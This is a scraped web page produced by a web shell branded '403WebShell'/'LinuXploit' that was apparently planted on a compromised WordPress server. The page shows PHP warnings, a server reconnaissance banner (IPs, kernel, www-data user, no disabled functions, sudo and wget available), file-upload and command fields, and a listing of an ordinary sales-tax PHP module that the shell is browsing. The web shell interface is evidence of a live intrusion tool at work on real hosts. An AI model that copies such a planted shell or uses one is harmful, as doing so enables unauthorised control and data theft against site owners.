Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeSalesTax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeSalesTax/main.php
<?php

namespace modules\storeSalesTax;

class main extends \moduleMain {

	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	private $view;

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructInput();
		$this->__ConstructDatabase();
		$this->__ConstructOutput();
	}
	
	public function Activate() {
		hook_add('tax.sales.calculate', [$this, '__calculate']);	
		// subtotal,
		// freight,
		// return: tax before freight or after? 		based on seller's location
		// return: should tax line be visible?
	}

	private function _getTaxInfo($postcode) {
		$data = $this->Query('select * from salestax_data')
					->Where('sd_postcode=%s', $postcode)
					->Get()
					->First();
		$expiry = 0;
		if (!is_null($data) && !$data->empty()) {
			$expiry = $data->sd_expiry;
		}
		if ($expiry < time()) {
			
			$url = new \CurlObject;
			$url->Url("https://sales-tax-rates1.p.rapidapi.com/v/api/?zip=" . $postcode)
				->Redirect(1)
				->RequestHeader('x-rapidapi-host', 'sales-tax-rates1.p.rapidapi.com')
				->RequestHeader('x-rapidapi-key', $this->settings['api_key'])			// only 50 requests/month
				->Execute();

			$body = $url->Body();
			$payload = json_decode($body, TRUE);
			$status = $payload['code'] ?? '';
			if ($status == '200') {
				$payload = $payload['data'];
				$this->TableName('salestax_data')
					->InsertOrUpdate([
						'sd_postcode' 	=> $postcode,
					], [
						'sd_expiry'		=> time() + 7 * 86400,
						'sd_content'	=> json_encode($payload, JSON_UNESCAPED_SLASHES),
				]);
				$this->DbErr();
				return $payload;
			} elseif (empty($data->sd_content)) {
				return [];
			}
		}
		return json_decode($data->sd_content, TRUE);
	}


	public function __calculate($param) {
		$postcode = $param->postcode;
		if ($postcode == '') {
			$info = ['combined_rate' => 0];
		} else {
			$info = $this->_getTaxInfo($postcode);
		}
		$param->taxrate = floatval($info['combined_rate']);
		if ($param->taxable) {
			$param->tax = ($param->subtotal + $param->freight) * $param->taxrate / 100;
		} else {
			$param->tax = $param->subtotal * $param->taxrate / 100;
		}
		$param->showtax = 1;
	}


	final function test() {
		header('Content-type: text/plain');
		
		$param = new \StdClass;
		$param->subtotal =    1000;
		$param->freight  =      50;
		$param->tax		 =       0;

		$param->postcode = '02343';
		$param->showtax  =  	 0;
		$param->taxable  =  	 0;		// is freight taxable?
		
		hook_execute('tax.sales.calculate', $param);
		var_dump($param);
		die("\n\nDone\n");
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit